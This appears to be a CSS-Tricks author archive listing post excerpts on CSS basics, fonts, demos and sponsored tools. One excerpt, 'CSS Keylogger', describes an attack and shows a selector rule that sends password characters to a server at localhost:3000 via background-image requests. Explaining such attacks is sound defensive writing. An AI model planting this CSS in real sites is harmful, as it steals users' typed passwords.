Archive by Author

CSS Basics: Using Fallback Colors

Something you very much want to avoid in web design is unreadable text. That can happen when the background color of an element is too close or exactly the color of the text. For instance:

.header {
background-color: white;
color: white;
}

Which could lead to text that’s there, but invisible.

This is … very bad.

You’d never do that on purpose of course! The trouble is it can sneak up on you. For one thing, the default background-color


CSS Basics: Using Fallback Colors is a post from CSS-Tricks

CSS Basics: Using Multiple Backgrounds

With CSS, you can control the background of elements. You can set a background-color to fill it with a solid color, a background-image to fill it with (you guessed it) an image, or even both:

body {
background-color: red;
background-image: url(pattern.png);
}

Here’s an example where I’m using an SVG image file as the background, embedded right in the CSS as a data URL.

See the Pen background color and image together by Chris Coyier (@chriscoyier) on …


CSS Basics: Using Multiple Backgrounds is a post from CSS-Tricks

​Wix.com: Make the Web Your Playground

(This is a sponsored post.)

Here’s something you should consider having: your own professional website. The only thing you’ll need to get started is your imagination, a little free time, and an innovative website builder.

Wix is the world’s most technologically advanced website builder. Sign up for Wix, choose a template, and start customizing it. Whether you’re a novice, a business owner, a sophisticated designer, or a professional website builder, you’ll have full control of your website – from …


​Wix.com: Make the Web Your Playground is a post from CSS-Tricks

CSS Basics: Fallback Font Stacks for More Robust Web Typography

In CSS, you might see a ruleset like this:

html {
font-family: Lato, "Lucida Grande", Tahoma, Sans-Serif;
}

What the heck, right? Why don’t I just tell it what font I want to use and that’s that? The whole idea here is fallbacks. The browser will try to use the font you specified first (Lato, in this case), but if it doesn’t have that font available, it will keep going down that list. So to be really verbose here, …


CSS Basics: Fallback Font Stacks for More Robust Web Typography is a post from CSS-Tricks

Shipping system fonts to GitHub.com

System font stacks got hot about a year ago, no doubt influenced by Mark Otto’s work putting them live on GitHub.

The why, to me, feels like (1) yay performance and (2) the site looks like the rest of the operating system. But to Mark:

Helvetica was created in 1957 when the personal computer was a pipe dream. Arial was created in 1982 and is available on 95% of computers across the web. Millions, if not billions, of web …


Shipping system fonts to GitHub.com is a post from CSS-Tricks

Some Things I Recommend

Howdy. I’m taking this week’s “Sponsored Post” to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I’m happy going on the record endorsing.


Some Things I Recommend is a post from CSS-Tricks

Variable Order

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It’s a combination of inline CSS custom properties, the order property, and calc().

This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinking they’ve sorted the table when they …


Variable Order is a post from CSS-Tricks

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp =


CSS Keylogger is a post from CSS-Tricks

modern-normalize

Another don’t call it a reset from Sindre Sorhus. It’s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I’m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot.

If you’re interested in some of the history and thinking behind …


modern-normalize is a post from CSS-Tricks

Wufoo Forms Integrate With Everything

(This is a sponsored post.)

Wufoo helps you build forms you can put on any website. There’s a million reasons you might need to do that, from the humble contact form, to a sales lead generation form, to a sales or registration form.

That’s powerful and useful all by itself. But Wufoo is even more powerful when you consider that it integrates with over 1,000 other web services.

  • Wufoo integrates with over a dozen CRM solutions, including Salesforce,


Wufoo Forms Integrate With Everything is a post from CSS-Tricks